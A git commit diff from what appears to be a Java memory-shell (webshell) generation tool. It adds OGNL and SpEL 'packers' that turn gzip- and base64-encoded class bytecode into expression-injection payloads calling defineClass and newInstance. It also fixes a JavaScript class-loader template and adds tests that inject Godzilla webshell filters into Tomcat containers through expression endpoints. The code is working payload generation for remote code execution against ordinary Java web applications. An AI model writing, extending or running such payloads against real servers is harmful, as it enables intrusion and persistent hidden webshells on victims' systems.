feat: support OGNL SpringUtils packers

This commit is contained in:
ReaJason
2025-08-13 23:53:40 +08:00
parent d8851ba83e
commit 6f9ae38add
12 changed files with 95 additions and 18 deletions
@@ -324,8 +324,8 @@ public class ShellAssertionTool {
}
case ScriptEngine -> VulTool.postData(url + "/js", content);
case EL -> VulTool.postData(url + "/el", content);
case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content);
case OGNL -> VulTool.postData(url + "/ognl", content);
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postData(url + "/spel", content);
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postData(url + "/ognl", content);
case MVEL -> VulTool.postData(url + "/mvel", content);
case JXPath -> VulTool.postData(url + "/jxpath", content);
case JEXL -> VulTool.postData(url + "/jexl2", content);
@@ -43,9 +43,13 @@ public class Tomcat8ExpressionContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpEL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
@@ -31,6 +31,9 @@ import com.reajason.javaweb.packer.jsp.JspxPacker;
import com.reajason.javaweb.packer.jxpath.JXPathPacker;
import com.reajason.javaweb.packer.mvel.MVELPacker;
import com.reajason.javaweb.packer.ognl.OGNLPacker;
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker;
import com.reajason.javaweb.packer.rhino.RhinoPacker;
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
import com.reajason.javaweb.packer.spel.SpELPacker;
@@ -83,7 +86,12 @@ public enum Packers {
* EL
*/
EL(new ELPacker()),
OGNL(new OGNLPacker()),
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class),
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
MVEL(new MVELPacker()),
Aviator(new AviatorPacker()),
JXPath(new JXPathPacker()),
@@ -1,19 +1,11 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class OGNLPacker implements Packer {
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
public class OGNLPacker implements AggregatePacker {
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,19 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import com.reajason.javaweb.packer.Packers;
/**
* @author ReaJason
* @since 2024/12/14
*/
public class OGNLScriptEnginePacker implements Packer {
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
@Override
public String pack(ClassPackerConfig config) {
String script = Packers.ScriptEngine.getInstance().pack(config);
return template.replace("{{script}}", script);
}
}
@@ -0,0 +1,33 @@
package com.reajason.javaweb.packer.ognl;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.zip.GZIPOutputStream;
/**
* @author ReaJason
* @since 2025/7/7
*/
public class OGNLSpringIOUtilsGzipPacker implements Packer {
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.apache.commons.io.IOUtils@toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
@Override
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
}
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
}
@@ -28,6 +28,7 @@ public class ScriptEnginePacker implements Packer {
@SneakyThrows
public String pack(ClassPackerConfig config) {
return jsTemplate
.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", config.getClassBytesBase64Str())
.replace("\n", "")
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
@@ -3,10 +3,10 @@ package com.reajason.javaweb.packer.spel;
import com.reajason.javaweb.packer.ClassPackerConfig;
import com.reajason.javaweb.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;
@@ -21,7 +21,7 @@ public class SpELSpringIOUtilsGzipPacker implements Packer {
@SneakyThrows
public String pack(ClassPackerConfig config) {
return template.replace("{{className}}", config.getClassName())
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes())));
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
}
public static byte[] gzipCompress(byte[] data) throws IOException {
+3 -2
View File
@@ -1,4 +1,5 @@
var base64Str = "{{base64Str}}";
var className = "{{className}}";
var clsString = java.lang.Class.forName("java.lang.String");
var bytecode;
try {
@@ -10,7 +11,7 @@ try {
}
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
@@ -31,6 +31,8 @@ dependencies {
implementation("com.caucho:hessian:4.0.66")
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
testImplementation(libs.junit.jupiter)
testRuntimeOnly(libs.junit.platform.launcher)
}
tasks.war {
@@ -0,0 +1,17 @@
import ognl.Ognl;
import ognl.OgnlContext;
import org.junit.jupiter.api.Test;
/**
* @author ReaJason
* @since 2025/7/22
*/
class OgnlServletTest {
@Test
void test() throws Exception {
OgnlContext context = new OgnlContext();
Object value = null;
System.out.println(Ognl.getValue("(new java.io.File('.')).list()", context, context.getRoot()));
}
}